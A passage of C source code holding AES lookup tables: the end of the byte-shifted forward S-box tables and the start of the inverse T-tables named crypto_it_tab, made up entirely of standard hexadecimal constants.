{\n\t\t0x00006300, 0x00007c00, 0x00007700, 0x00007b00,\n\t\t0x0000f200, 0x00006b00, 0x00006f00, 0x0000c500,\n\t\t0x00003000, 0x00000100, 0x00006700, 0x00002b00,\n\t\t0x0000fe00, 0x0000d700, 0x0000ab00, 0x00007600,\n\t\t0x0000ca00, 0x00008200, 0x0000c900, 0x00007d00,\n\t\t0x0000fa00, 0x00005900, 0x00004700, 0x0000f000,\n\t\t0x0000ad00, 0x0000d400, 0x0000a200, 0x0000af00,\n\t\t0x00009c00, 0x0000a400, 0x00007200, 0x0000c000,\n\t\t0x0000b700, 0x0000fd00, 0x00009300, 0x00002600,\n\t\t0x00003600, 0x00003f00, 0x0000f700, 0x0000cc00,\n\t\t0x00003400, 0x0000a500, 0x0000e500, 0x0000f100,\n\t\t0x00007100, 0x0000d800, 0x00003100, 0x00001500,\n\t\t0x00000400, 0x0000c700, 0x00002300, 0x0000c300,\n\t\t0x00001800, 0x00009600, 0x00000500, 0x00009a00,\n\t\t0x00000700, 0x00001200, 0x00008000, 0x0000e200,\n\t\t0x0000eb00, 0x00002700, 0x0000b200, 0x00007500,\n\t\t0x00000900, 0x00008300, 0x00002c00, 0x00001a00,\n\t\t0x00001b00, 0x00006e00, 0x00005a00, 0x0000a000,\n\t\t0x00005200, 0x00003b00, 0x0000d600, 0x0000b300,\n\t\t0x00002900, 0x0000e300, 0x00002f00, 0x00008400,\n\t\t0x00005300, 0x0000d100, 0x00000000, 0x0000ed00,\n\t\t0x00002000, 0x0000fc00, 0x0000b100, 0x00005b00,\n\t\t0x00006a00, 0x0000cb00, 0x0000be00, 0x00003900,\n\t\t0x00004a00, 0x00004c00, 0x00005800, 0x0000cf00,\n\t\t0x0000d000, 0x0000ef00, 0x0000aa00, 0x0000fb00,\n\t\t0x00004300, 0x00004d00, 0x00003300, 0x00008500,\n\t\t0x00004500, 0x0000f900, 0x00000200, 0x00007f00,\n\t\t0x00005000, 0x00003c00, 0x00009f00, 0x0000a800,\n\t\t0x00005100, 0x0000a300, 0x00004000, 0x00008f00,\n\t\t0x00009200, 0x00009d00, 0x00003800, 0x0000f500,\n\t\t0x0000bc00, 0x0000b600, 0x0000da00, 0x00002100,\n\t\t0x00001000, 0x0000ff00, 0x0000f300, 0x0000d200,\n\t\t0x0000cd00, 0x00000c00, 0x00001300, 0x0000ec00,\n\t\t0x00005f00, 0x00009700, 0x00004400, 0x00001700,\n\t\t0x0000c400, 0x0000a700, 0x00007e00, 0x00003d00,\n\t\t0x00006400, 0x00005d00, 0x00001900, 0x00007300,\n\t\t0x00006000, 0x00008100, 0x00004f00, 0x0000dc00,\n\t\t0x00002200, 0x00002a00, 0x00009000, 0x00008800,\n\t\t0x00004600, 0x0000ee00, 0x0000b800, 0x00001400,\n\t\t0x0000de00, 0x00005e00, 0x00000b00, 0x0000db00,\n\t\t0x0000e000, 0x00003200, 0x00003a00, 0x00000a00,\n\t\t0x00004900, 0x00000600, 0x00002400, 0x00005c00,\n\t\t0x0000c200, 0x0000d300, 0x0000ac00, 0x00006200,\n\t\t0x00009100, 0x00009500, 0x0000e400, 0x00007900,\n\t\t0x0000e700, 0x0000c800, 0x00003700, 0x00006d00,\n\t\t0x00008d00, 0x0000d500, 0x00004e00, 0x0000a900,\n\t\t0x00006c00, 0x00005600, 0x0000f400, 0x0000ea00,\n\t\t0x00006500, 0x00007a00, 0x0000ae00, 0x00000800,\n\t\t0x0000ba00, 0x00007800, 0x00002500, 0x00002e00,\n\t\t0x00001c00, 0x0000a600, 0x0000b400, 0x0000c600,\n\t\t0x0000e800, 0x0000dd00, 0x00007400, 0x00001f00,\n\t\t0x00004b00, 0x0000bd00, 0x00008b00, 0x00008a00,\n\t\t0x00007000, 0x00003e00, 0x0000b500, 0x00006600,\n\t\t0x00004800, 0x00000300, 0x0000f600, 0x00000e00,\n\t\t0x00006100, 0x00003500, 0x00005700, 0x0000b900,\n\t\t0x00008600, 0x0000c100, 0x00001d00, 0x00009e00,\n\t\t0x0000e100, 0x0000f800, 0x00009800, 0x00001100,\n\t\t0x00006900, 0x0000d900, 0x00008e00, 0x00009400,\n\t\t0x00009b00, 0x00001e00, 0x00008700, 0x0000e900,\n\t\t0x0000ce00, 0x00005500, 0x00002800, 0x0000df00,\n\t\t0x00008c00, 0x0000a100, 0x00008900, 0x00000d00,\n\t\t0x0000bf00, 0x0000e600, 0x00004200, 0x00006800,\n\t\t0x00004100, 0x00009900, 0x00002d00, 0x00000f00,\n\t\t0x0000b000, 0x00005400, 0x0000bb00, 0x00001600,\n\t}, {\n\t\t0x00630000, 0x007c0000, 0x00770000, 0x007b0000,\n\t\t0x00f20000, 0x006b0000, 0x006f0000, 0x00c50000,\n\t\t0x00300000, 0x00010000, 0x00670000, 0x002b0000,\n\t\t0x00fe0000, 0x00d70000, 0x00ab0000, 0x00760000,\n\t\t0x00ca0000, 0x00820000, 0x00c90000, 0x007d0000,\n\t\t0x00fa0000, 0x00590000, 0x00470000, 0x00f00000,\n\t\t0x00ad0000, 0x00d40000, 0x00a20000, 0x00af0000,\n\t\t0x009c0000, 0x00a40000, 0x00720000, 0x00c00000,\n\t\t0x00b70000, 0x00fd0000, 0x00930000, 0x00260000,\n\t\t0x00360000, 0x003f0000, 0x00f70000, 0x00cc0000,\n\t\t0x00340000, 0x00a50000, 0x00e50000, 0x00f10000,\n\t\t0x00710000, 0x00d80000, 0x00310000, 0x00150000,\n\t\t0x00040000, 0x00c70000, 0x00230000, 0x00c30000,\n\t\t0x00180000, 0x00960000, 0x00050000, 0x009a0000,\n\t\t0x00070000, 0x00120000, 0x00800000, 0x00e20000,\n\t\t0x00eb0000, 0x00270000, 0x00b20000, 0x00750000,\n\t\t0x00090000, 0x00830000, 0x002c0000, 0x001a0000,\n\t\t0x001b0000, 0x006e0000, 0x005a0000, 0x00a00000,\n\t\t0x00520000, 0x003b0000, 0x00d60000, 0x00b30000,\n\t\t0x00290000, 0x00e30000, 0x002f0000, 0x00840000,\n\t\t0x00530000, 0x00d10000, 0x00000000, 0x00ed0000,\n\t\t0x00200000, 0x00fc0000, 0x00b10000, 0x005b0000,\n\t\t0x006a0000, 0x00cb0000, 0x00be0000, 0x00390000,\n\t\t0x004a0000, 0x004c0000, 0x00580000, 0x00cf0000,\n\t\t0x00d00000, 0x00ef0000, 0x00aa0000, 0x00fb0000,\n\t\t0x00430000, 0x004d0000, 0x00330000, 0x00850000,\n\t\t0x00450000, 0x00f90000, 0x00020000, 0x007f0000,\n\t\t0x00500000, 0x003c0000, 0x009f0000, 0x00a80000,\n\t\t0x00510000, 0x00a30000, 0x00400000, 0x008f0000,\n\t\t0x00920000, 0x009d0000, 0x00380000, 0x00f50000,\n\t\t0x00bc0000, 0x00b60000, 0x00da0000, 0x00210000,\n\t\t0x00100000, 0x00ff0000, 0x00f30000, 0x00d20000,\n\t\t0x00cd0000, 0x000c0000, 0x00130000, 0x00ec0000,\n\t\t0x005f0000, 0x00970000, 0x00440000, 0x00170000,\n\t\t0x00c40000, 0x00a70000, 0x007e0000, 0x003d0000,\n\t\t0x00640000, 0x005d0000, 0x00190000, 0x00730000,\n\t\t0x00600000, 0x00810000, 0x004f0000, 0x00dc0000,\n\t\t0x00220000, 0x002a0000, 0x00900000, 0x00880000,\n\t\t0x00460000, 0x00ee0000, 0x00b80000, 0x00140000,\n\t\t0x00de0000, 0x005e0000, 0x000b0000, 0x00db0000,\n\t\t0x00e00000, 0x00320000, 0x003a0000, 0x000a0000,\n\t\t0x00490000, 0x00060000, 0x00240000, 0x005c0000,\n\t\t0x00c20000, 0x00d30000, 0x00ac0000, 0x00620000,\n\t\t0x00910000, 0x00950000, 0x00e40000, 0x00790000,\n\t\t0x00e70000, 0x00c80000, 0x00370000, 0x006d0000,\n\t\t0x008d0000, 0x00d50000, 0x004e0000, 0x00a90000,\n\t\t0x006c0000, 0x00560000, 0x00f40000, 0x00ea0000,\n\t\t0x00650000, 0x007a0000, 0x00ae0000, 0x00080000,\n\t\t0x00ba0000, 0x00780000, 0x00250000, 0x002e0000,\n\t\t0x001c0000, 0x00a60000, 0x00b40000, 0x00c60000,\n\t\t0x00e80000, 0x00dd0000, 0x00740000, 0x001f0000,\n\t\t0x004b0000, 0x00bd0000, 0x008b0000, 0x008a0000,\n\t\t0x00700000, 0x003e0000, 0x00b50000, 0x00660000,\n\t\t0x00480000, 0x00030000, 0x00f60000, 0x000e0000,\n\t\t0x00610000, 0x00350000, 0x00570000, 0x00b90000,\n\t\t0x00860000, 0x00c10000, 0x001d0000, 0x009e0000,\n\t\t0x00e10000, 0x00f80000, 0x00980000, 0x00110000,\n\t\t0x00690000, 0x00d90000, 0x008e0000, 0x00940000,\n\t\t0x009b0000, 0x001e0000, 0x00870000, 0x00e90000,\n\t\t0x00ce0000, 0x00550000, 0x00280000, 0x00df0000,\n\t\t0x008c0000, 0x00a10000, 0x00890000, 0x000d0000,\n\t\t0x00bf0000, 0x00e60000, 0x00420000, 0x00680000,\n\t\t0x00410000, 0x00990000, 0x002d0000, 0x000f0000,\n\t\t0x00b00000, 0x00540000, 0x00bb0000, 0x00160000,\n\t}, {\n\t\t0x63000000, 0x7c000000, 0x77000000, 0x7b000000,\n\t\t0xf2000000, 0x6b000000, 0x6f000000, 0xc5000000,\n\t\t0x30000000, 0x01000000, 0x67000000, 0x2b000000,\n\t\t0xfe000000, 0xd7000000, 0xab000000, 0x76000000,\n\t\t0xca000000, 0x82000000, 0xc9000000, 0x7d000000,\n\t\t0xfa000000, 0x59000000, 0x47000000, 0xf0000000,\n\t\t0xad000000, 0xd4000000, 0xa2000000, 0xaf000000,\n\t\t0x9c000000, 0xa4000000, 0x72000000, 0xc0000000,\n\t\t0xb7000000, 0xfd000000, 0x93000000, 0x26000000,\n\t\t0x36000000, 0x3f000000, 0xf7000000, 0xcc000000,\n\t\t0x34000000, 0xa5000000, 0xe5000000, 0xf1000000,\n\t\t0x71000000, 0xd8000000, 0x31000000, 0x15000000,\n\t\t0x04000000, 0xc7000000, 0x23000000, 0xc3000000,\n\t\t0x18000000, 0x96000000, 0x05000000, 0x9a000000,\n\t\t0x07000000, 0x12000000, 0x80000000, 0xe2000000,\n\t\t0xeb000000, 0x27000000, 0xb2000000, 0x75000000,\n\t\t0x09000000, 0x83000000, 0x2c000000, 0x1a000000,\n\t\t0x1b000000, 0x6e000000, 0x5a000000, 0xa0000000,\n\t\t0x52000000, 0x3b000000, 0xd6000000, 0xb3000000,\n\t\t0x29000000, 0xe3000000, 0x2f000000, 0x84000000,\n\t\t0x53000000, 0xd1000000, 0x00000000, 0xed000000,\n\t\t0x20000000, 0xfc000000, 0xb1000000, 0x5b000000,\n\t\t0x6a000000, 0xcb000000, 0xbe000000, 0x39000000,\n\t\t0x4a000000, 0x4c000000, 0x58000000, 0xcf000000,\n\t\t0xd0000000, 0xef000000, 0xaa000000, 0xfb000000,\n\t\t0x43000000, 0x4d000000, 0x33000000, 0x85000000,\n\t\t0x45000000, 0xf9000000, 0x02000000, 0x7f000000,\n\t\t0x50000000, 0x3c000000, 0x9f000000, 0xa8000000,\n\t\t0x51000000, 0xa3000000, 0x40000000, 0x8f000000,\n\t\t0x92000000, 0x9d000000, 0x38000000, 0xf5000000,\n\t\t0xbc000000, 0xb6000000, 0xda000000, 0x21000000,\n\t\t0x10000000, 0xff000000, 0xf3000000, 0xd2000000,\n\t\t0xcd000000, 0x0c000000, 0x13000000, 0xec000000,\n\t\t0x5f000000, 0x97000000, 0x44000000, 0x17000000,\n\t\t0xc4000000, 0xa7000000, 0x7e000000, 0x3d000000,\n\t\t0x64000000, 0x5d000000, 0x19000000, 0x73000000,\n\t\t0x60000000, 0x81000000, 0x4f000000, 0xdc000000,\n\t\t0x22000000, 0x2a000000, 0x90000000, 0x88000000,\n\t\t0x46000000, 0xee000000, 0xb8000000, 0x14000000,\n\t\t0xde000000, 0x5e000000, 0x0b000000, 0xdb000000,\n\t\t0xe0000000, 0x32000000, 0x3a000000, 0x0a000000,\n\t\t0x49000000, 0x06000000, 0x24000000, 0x5c000000,\n\t\t0xc2000000, 0xd3000000, 0xac000000, 0x62000000,\n\t\t0x91000000, 0x95000000, 0xe4000000, 0x79000000,\n\t\t0xe7000000, 0xc8000000, 0x37000000, 0x6d000000,\n\t\t0x8d000000, 0xd5000000, 0x4e000000, 0xa9000000,\n\t\t0x6c000000, 0x56000000, 0xf4000000, 0xea000000,\n\t\t0x65000000, 0x7a000000, 0xae000000, 0x08000000,\n\t\t0xba000000, 0x78000000, 0x25000000, 0x2e000000,\n\t\t0x1c000000, 0xa6000000, 0xb4000000, 0xc6000000,\n\t\t0xe8000000, 0xdd000000, 0x74000000, 0x1f000000,\n\t\t0x4b000000, 0xbd000000, 0x8b000000, 0x8a000000,\n\t\t0x70000000, 0x3e000000, 0xb5000000, 0x66000000,\n\t\t0x48000000, 0x03000000, 0xf6000000, 0x0e000000,\n\t\t0x61000000, 0x35000000, 0x57000000, 0xb9000000,\n\t\t0x86000000, 0xc1000000, 0x1d000000, 0x9e000000,\n\t\t0xe1000000, 0xf8000000, 0x98000000, 0x11000000,\n\t\t0x69000000, 0xd9000000, 0x8e000000, 0x94000000,\n\t\t0x9b000000, 0x1e000000, 0x87000000, 0xe9000000,\n\t\t0xce000000, 0x55000000, 0x28000000, 0xdf000000,\n\t\t0x8c000000, 0xa1000000, 0x89000000, 0x0d000000,\n\t\t0xbf000000, 0xe6000000, 0x42000000, 0x68000000,\n\t\t0x41000000, 0x99000000, 0x2d000000, 0x0f000000,\n\t\t0xb0000000, 0x54000000, 0xbb000000, 0x16000000,\n\t}\n};\n\nconst u32 crypto_it_tab[4][256] = {\n\t{\n\t\t0x50a7f451, 0x5365417e, 0xc3a4171a, 0x965e273a,\n\t\t0xcb6bab3b, 0xf1459d1f, 0xab58faac, 0x9303e34b,\n\t\t0x55fa3020, 0xf66d76ad, 0x9176cc88, 0x254c02f5,\n\t\t0xfcd7e54f, 0xd7cb2ac5, 0x80443526, 0x8fa362b5,\n\t\t0x495ab1de, 0x671bba25, 0x980eea45, 0xe1c0fe5d,\n\t\t0x02752fc3, 0x12f04c81, 0xa397468d, 0xc6f9d36b,\n\t\t0xe75f8f03, 0x959c9215, 0xeb7a6dbf, 0xda595295,\n\t\t0x2d83bed4, 0xd3217458, 0x2969e049, 0x44c8c98e,\n\t\t0x6a89c275, 0x78798ef4, 0x6b3e5899, 0xdd71b927,\n\t\t0xb64fe1be, 0x17ad88f0, 0x66ac20c9, 0xb43ace7d,\n\t\t0x184adf63, 0x82311ae5, 0x60335197, 0x457f5362,\n\t\t0xe07764b1, 0x84ae6bbb, 0x1ca081fe, 0x942b08f9,\n\t\t0x58684870, 0x19fd458f, 0x876cde94, 0xb7f87b52,\n\t\t0x23d373ab, 0xe2024b72, 0x578f1fe3, 0x2aab5566,\n\t\t0x0728ebb2, 0x03c2b52f, 0x9a7bc586, 0xa50837d3,\n\t\t0xf2872830, 0xb2a5bf23, 0xba6a0302, 0x5c8216ed,\n\t\t0x2b1ccf8a, 0x92b479a7, 0xf0f207f3, 0xa1e2694e,\n\t\t0xcdf4da65, 0xd5be0506, 0x1f6234d1, 0x8afea6c4,\n\t\t0x9d532e34, 0xa055f3a2, 0x32e18a05, 0x75ebf6a4,\n\t\t0x39ec830b, 0xaaef6040, 0x069f715e, 0x51106ebd,\n\t\t0xf98a213e, 0x3d06dd96, 0xae053edd, 0x46bde64d,\n\t\t0xb58d5491, 0x055dc471, 0x6fd40604, 0xff155060,\n\t\t0x24fb9819, 0x97e9bdd6, 0xcc434089, 0x779ed967,\n\t\t0xbd42e8b0, 0x888b8907, 0x385b19e7, 0xdbeec879,\n\t\t0x470a7ca1, 0xe90f427c, 0xc91e84f8, 0x00000000,\n\t\t0x83868009, 0x48ed2b32, 0xac70111e, 0x4e725a6c,\n\t\t0xfbff0efd, 0x5638850f, 0x1ed5ae3d, 0x27392d36,\n\t\t0x64d90f0a, 0x21a65c68, 0xd1545b9b, 0x3a2e3624,\n\t\t0xb1670a0c, 0x0fe75793, 0xd296eeb4, 0x9e919b1b,\n\t\t0x4fc5c080, 0xa220dc61, 0x694b775a, 0x161a121c,\n\t\t0x0aba93e2, 0xe52aa0c0, 0x43e0223c, 0x1d171b12,\n\t\t0x0b0d090e, 0xadc78bf2, 0xb9a8b62d, 0xc8a91e14,\n\t\t0x8519f157, 0x4c0775af, 0xbbdd99ee, 0xfd607fa3,\n\t\t0x9f2601f7, 0xbcf5725c, 0xc53b6644, 0x347efb5b,\n\t\t0x7629438b, 0xdcc623cb, 0x68fcedb6, 0x63f1e4b8,\n\t\t0xcadc31d7, 0x10856342, 0x40229713, 0x2011c684,\n\t\t0x7d244a85, 0xf83dbbd2, 0x1132f9ae, 0x6da129c7,\n\t\t0x4b2f9e1d, 0xf330b2dc, 0xec52860d, 0xd0e3c177,\n\t\t0x6c16b32b, 0x99b970a9, 0xfa489411, 0x2264e947,\n\t\t0xc48cfca8, 0x1a3ff0a0, 0xd82c7d56, 0xef903322,\n\t\t0xc74e4987, 0xc1d138d9, 0xfea2ca8c, 0x360bd498,\n\t\t0xcf81f5a6, 0x28de7aa5, 0x268eb7da, 0xa4bfad3f,\n\t\t0xe49d3a2c, 0x0d927850, 0x9bcc5f6a, 0x62467e54,\n\t\t0xc2138df6, 0xe8b8d890, 0x5ef7392e, 0xf5afc382,\n\t\t0xbe805d9f, 0x7c93d069, 0xa92dd56f, 0xb31225cf,\n\t\t0x3b99acc8, 0xa77d1810, 0x6e639ce8, 0x7bbb3bdb,\n\t\t0x097826cd, 0xf418596e, 0x01b79aec, 0xa89a4f83,\n\t\t0x656e95e6, 0x7ee6ffaa, 0x08cfbc21, 0xe6e815ef,\n\t\t0xd99be7ba, 0xce366f4a, 0xd4099fea, 0xd67cb029,\n\t\t0xafb2a431, 0x31233f2a, 0x3094a5c6, 0xc066a235,\n\t\t0x37bc4e74, 0xa6ca82fc, 0xb0d090e0, 0x15d8a733,\n\t\t0x4a9804f1, 0xf7daec41, 0x0e50cd7f, 0x2ff69117,\n\t\t0x8dd64d76, 0x4db0ef43, 0x544daacc, 0xdf0496e4,\n\t\t0xe3b5d19e, 0x1b886a4c, 0xb81f2cc1, 0x7f516546,\n\t\t0x04ea5e9d, 0x5d358c01, 0x737487fa, 0x2e410bfb,\n\t\t0x5a1d67b3, 0x52d2db92, 0x335610e9, 0x1347d66d,\n\t\t0x8c61d79a, 0x7a0ca137, 0x8e14f859, 0x893c13eb,\n\t\t0xee27a9ce, 0x35c961b7, 0xede51ce1, 0x3cb1477a,\n\t\t0x59dfd29c, 0x3f73f255, 0x79ce1418, 0xbf37c773,\n\t\t0xeacdf753, 0x5baafd5f, 0x146f3ddf, 0x86db4478,\n\t\t0x81f3afca, 0x3ec468b9, 0x2c342438, 0x5f40a3c2,\n\t\t0x72c31d16, 0x0c25e2bc, 0x8b493c28, 0x41950dff,\n\t\t0x7101a839, 0xdeb30c08, 0x9ce4b4d8, 0x90c15664,\n\t\t0x6184cb7b, 0x70b632d5, 0x745c6c48, 0x4257b8d0,\n\t}, {\n\t\t0xa7f45150, 0x65417e53, 0xa4171ac3, 0x5e273a96,\n\t\t0x6bab3bcb, 0x459d1ff1, 0x58faacab, 0x03e34b93,\n\t\t0xfa302055, 0x6d76adf6, 0x76cc8891, 0x4c02f525,\n\t\t0xd7e54ffc, 0xcb2ac5d7, 0x44352680, 0xa362b58f,\n\t\t0x5ab1de49, 0x1bba2567, 0x0eea4598, 0xc0fe5de1,\n\t\t0x752fc302, 0xf04c8112, 0x97468da3, 0xf9d36bc6,\n\t\t0x5f8f03e7, 0x9c921595, 0x7a6dbfeb, 0x595295da,\n\t\t0x83bed42d, 0x217458d3, 0x69e04929, 0xc8c98e44,\n\t\t0x89c2756a, 0x798ef478, 0x3e58996b, 0x71b927dd,\n\t\t0x4fe1beb6, 0xad88f017, 0xac20c966, 0x3ace7db4,\n\t\t0x4adf6318, 0x311ae582, 0x33519760, 0x7f536245,\n\t\t0x7764b1e0, 0xae6bbb84, 0xa081fe1c, 0x2b08f994,\n\t\t0x68487058, 0xfd458f19, 0x6cde9487, 0xf87b52b7,\n\t\t0xd373ab23, 0x024b72e2, 0x8f1fe357, 0xab55662a,\n\t\t0x28ebb207, 0xc2b52f03, 0x7bc5869a, 0x0837d3a5,\n\t\t0x872830f2, 0xa5bf23b2, 0x6a0302ba, 0x8216ed5c,\n\t\t0x1ccf8a2b, 0xb479a792, 0xf207f3f0, 0xe2694ea1,\n\t\t0xf4da65cd, 0xbe0506d5, 0x6234d11f, 0xfea6c48a,\n\t\t0x532e349d, 0x55f3a2a0, 0xe18a0532, 0xebf6a475,\n\t\t0xec830b39, 0xef6040aa, 0x9f715e06, 0x106ebd51,\n\t\t0x8a213ef9, 0x06dd963d, 0x053eddae, 0xbde64d46,\n\t\t0x8d5491b5, 0x5dc47105, 0xd406046f, 0x155060ff,\n\t\t0xfb981924, 0xe9bdd697, 0x434089cc, 0x9ed96777,\n\t\t0x42e8b0bd, 0x8b890788, 0x5b19e738, 0xeec879db,\n\t\t0x0a7ca147, 0x0f427ce9, 0x1e84f8c9, 0x00000000,\n\t\t0x86800983, 0xed2b3248, 0x70111eac, 0x725a6c4e,\n\t\t0xff0efdfb, 0x38850f56, 0xd5ae3d1e, 0x392d3627,\n\t\t0xd90f0a64, 0xa65c6821, 0x545b9bd1, 0x2e36243a,\n\t\t0x670a0cb1, 0xe757930f, 0x96eeb4d2, 0x919b1b9e,\n\t\t0xc5c0804f, 0x20dc61a2, 0x4b775a69, 0x1a121c16,\n\t\t0xba93e20a, 0x2aa0c0e5, 0xe0223c43, 0x171b121d,\n\t\t0x0d090e0b, 0xc78bf2ad, 0xa8b62db9, 0xa91e14c8,\n\t\t0x19f15785, 0x0775af4c, 0xdd99eebb, 0x607fa3fd,\n\t\t0x2601f79f, 0xf5725cbc, 0x3b6644c5, 0x7efb5b34,\n\t\t0x29438b76, 0xc623cbdc, 0xfcedb668, 0xf1e4b863,\n\t\t0xdc31d7ca, 0x85634210, 0x22971340, 0x11c68420,\n\t\t0x244a857d, 0x3dbbd2f8, 0x32f9ae11, 0xa129c76d,\n\t\t0x2f9e1d4b, 0x30b2dcf3, 0x52860dec, 0xe3c177d0,\n\t\t0x16b32b6c, 0xb970a999, 0x489411fa, 0x64e94722,\n\t\t0x8cfca8c4, 0x3ff0a01a, 0x2c7d56d8, 0x903322ef,\n\t\t0x4e4987c7, 0xd138d9c1, 0xa2ca8cfe, 0x0bd49836,\n\t\t0x81f5a6cf, 0xde7aa528, 0x8eb7da26, 0xbfad3fa4,\n\t\t0x9d3a2ce4, 0x9278500d, 0xcc5f6a9b, 0x467e5462,\n\t\t0x138df6c2, 0xb8d890e8, 0xf7392e5e, 0xafc382f5,\n\t\t0x805d9fbe, 0x93d0697c, 0x2dd56fa9, 0x1225cfb3,\n\t\t0x99acc83b, 0x7d1810a7, 0x639ce86e, 0xbb3bdb7b,\n\t\t0x7826cd09, 0x18596ef4, 0xb79aec01, 0x9a4f83a8,\n\t\t0x6e95e665, 0xe6ffaa7e, 0xcfbc2108, 0xe815efe6,\n\t\t0x9be7bad9, 0x366f4ace, 0x099fead4, 0x7cb029d6,\n\t\t0xb2a431af, 0x233f2a31, 0x94a5c630, 0x66a235c0,\n\t\t0xbc4e7437, 0xca82fca6, 0xd090e0b0, 0xd8a73315,\n\t\t0x9804f14a, 0xdaec41f7, 0x50cd7f0e, 0xf691172f,\n\t\t0xd64d768d, 0xb0ef434d, 0x4daacc54, 0x0496e4df,\n\t\t0xb5d19ee3, 0x886a4c1b, 0x1f2cc1b8, 0x5165467f,\n\t\t0xea5e9d04, 0x358c015d, 0x7487fa73, 0x410bfb2e,\n\t\t0x1d67b35a, 0xd2db9252, 0x5610e933, 0x47d66d13,\n\t\t0x61d79a8c, 0x0ca1377a, 0x14f8598e, 0x3c13eb89,\n\t\t0x27a9ceee, 0xc961b735, 0xe51ce1ed, 0xb1477a3c,\n\t\t0xdfd29c59, 0x73f2553f, 0xce141879, 0x37c773bf,\n\t\t0xcdf753ea, 0xaafd5f5b, 0x6f3ddf14, 0xdb447886,\n\t\t0xf3afca81, 0xc468b93e, 0x3424382c, 0x40a3c25f,\n\t\t0xc31d1672, 0x25e2bc0c, 0x493c288b, 0x950dff41,\n\t\t0x01a83971, 0xb30c08de, 0xe4b4d89c, 0xc1566490,\n\t\t0x84cb7b61, 0xb632d570, 0x5c6c4874, 0x57b8d042,\n\t}, {\n\t\t0xf45150a7, 0x417e5365, 0x171ac3a4, 0x273a965e,\n\t\t0xab3bcb6b, 0x9d1ff145, 0xfaacab58, 0xe34b9303,\n\t\t0x302055fa, 0x76adf66d, 0xcc889176, 0x02f5254c,\n\t\t0xe54ffcd7, 0x2ac5d7cb, 0x35268044, 0x62b58fa3,\n\t\t0xb1de495a, 0xba25671b, 0xea45980e, 0xfe5de1c0,\n\t\t0x2fc30275, 0x4c8112f0, 0x468da397, 0xd36bc6f9,\n\t\t0x8f03e75f, 0x9215959c, 0x6dbfeb7a, 0x5295da59,\n\t\t0xbed42d83, 0x7458d321, 0xe0492969, 0xc98e44c8,\n\t\t0xc2756a89, 0x8ef47879, 0x58996b3e, 0xb927dd71,\n\t\t0xe1beb64f, 0x88f017ad, 0x20c966ac, 0xce7db43a,\n\t\t0xdf63184a, 0x1ae58231, 0x51976033, 0x5362457f,\n\t\t0x64b1e077, 0x6bbb84ae, 0x81fe1ca0, 0x08f9942b,\n\t\t0x48705868, 0x458f19fd, 0xde94876c, 0x7b52b7f8,\n\t\t0x73ab23d3, 0x4b72e202, 0x1fe3578f, 0x55662aab,\n\t\t0xebb20728, 0xb52f03c2, 0xc5869a7b, 0x37d3a508,\n\t\t0x2830f287, 0xbf23b2a5, 0x0302ba6a, 0x16ed5c82,\n\t\t0xcf8a2b1c, 0x79a792b4, 0x07f3f0f2, 0x694ea1e2,\n\t\t0xda65cdf4, 0x0506d5be, 0x34d11f62, 0xa6c48afe,\n\t\t0x2e349d53, 0xf3a2a055, 0x8a0532e1, 0xf6a475eb,\n\t\t0x830b39ec, 0x6040aaef, 0x715e069f, 0x6ebd5110,\n\t\t0x213ef98a, 0xdd963d06, 0x3eddae05, 0xe64d46bd,\n\t\t0x5491b58d, 0xc471055d, 0x06046fd4, 0x5060ff15,\n\t\t0x981924fb, 0xbdd697e9, 0x4089cc43, 0xd967779e,\n\t\t0xe8b0bd42, 0x8907888b, 0x19e7385b, 0xc879dbee,\n\t\t0x7ca1470a, 0x427ce90f, 0x84f8c91e, 0x00000000,\n\t\t0x80098386, 0x2b3248ed, 0x111eac70, 0x5a6c4e72,\n\t\t0x0efdfbff, 0x850f5638, 0xae3d1ed5, 0x2d362739,\n\t\t0x0f0a64d9, 0x5c6821a6, 0x5b9bd154, 0x36243a2e,\n\t\t0x0a0cb167, 0x57930fe7, 0xeeb4d296, 0x9b1b9e91,\n\t\t0xc0804fc5, 0xdc61a220, 0x775a694b, 0x121c161a,\n\t\t0x93e20aba, 0xa0c0e52a, 0x223c43e0, 0x1b121d17,\n\t\t0x090e0b0d, 0x8bf2adc7, 0xb62db9a8, 0x1e14c8a9,\n\t\t0xf1578519, 0x75af4c07, 0x99eebbdd, 0x7fa3fd60,\n\t\t0x01f79f26, 0x725cbcf5, 0x6644c53b, 0xfb5b347e,\n\t\t0x438b7629, 0x23cbdcc6, 0xedb668fc, 0xe4b863f1,\n\t\t0x31d7cadc, 0x63421085, 0x97134022, 0xc6842011,\n\t\t0x4a857d24, 0xbbd2f83d, 0xf9ae1132, 0x29c76da1,\n\t\t0x9e1d4b2f, 0xb2dcf330, 0x860dec52, 0xc177d0e3,\n\t\t0xb32b6c16, 0x70a999b9, 0x9411fa48, 0xe9472264,\n\t\t0xfca8c48c, 0xf0a01a3f, 0x7d56d82c, 0x3322ef90,\n\t\t0x4987c74e, 0x38d9c1d1, 0xca8cfea2, 0xd498360b,\n\t\t0xf5a6cf81, 0x7aa528de, 0xb7da268e, 0xad3fa4bf,\n\t\t0x3a2ce49d, 0x78500d92, 0x5f6a9bcc, 0x7e546246,\n\t\t0x8df6c213, 0xd890e8b8, 0x392e5ef7, 0xc382f5af,\n\t\t0x5d9fbe80, 0xd0697c93, 0xd56fa92d, 0x25cfb312,\n\t\t0xacc83b99, 0x1810a77d, 0x9ce86e63, 0x3bdb7bbb,\n\t\t0x26cd0978, 0x596ef418, 0x9aec01b7, 0x4f83a89a,\n\t\t0x95e6656e, 0xffaa7ee6, 0xbc2108cf, 0x15efe6e8,\n\t\t0xe7bad99b, 0x6f4ace36, 0x9fead409, 0xb029d67c,\n\t\t0xa431afb2, 0x3f2a3123, 0xa5c63094, 0xa235c066,\n\t\t0x4e7437bc, 0x82fca6ca, 0x90e0b0d0, 0xa73315d8,\n\t\t0x04f14a98, 0xec41f7da, 0xcd7f0e50, 0x91172ff6,\n\t\t0x4d768dd6, 0xef434db0, 0xaacc544d, 0x96e4df04,\n\t\t0xd19ee3b5, 0x6a4c1b88, 0x2cc1b81f, 0x65467f51,\n\t\t0x5e9d04ea, 0x8c015d35, 0x87fa7374, 0x0bfb2e41,\n\t\t0x67b35a1d, 0xdb9252d2, 0x10e93356, 0xd66d1347,\n\t\t0xd79a8c61, 0xa1377a0c, 0xf8598e14, 0x13eb893c,\n\t\t0xa9ceee27, 0x61b735c9, 0x1ce1ede5, 0x477a3cb1,\n\t\t0xd29c59df, 0xf2553f73, 0x141879ce, 0xc773bf37,\n\t\t0xf753eacd, 0xfd5f5baa, 0x3ddf146f, 0x447886db,\n\t\t0xafca81f3, 0x68b93ec4, 0x24382c34, 0xa3c25f40,\n\t\t0x1d1672c3, 0xe2bc0c25, 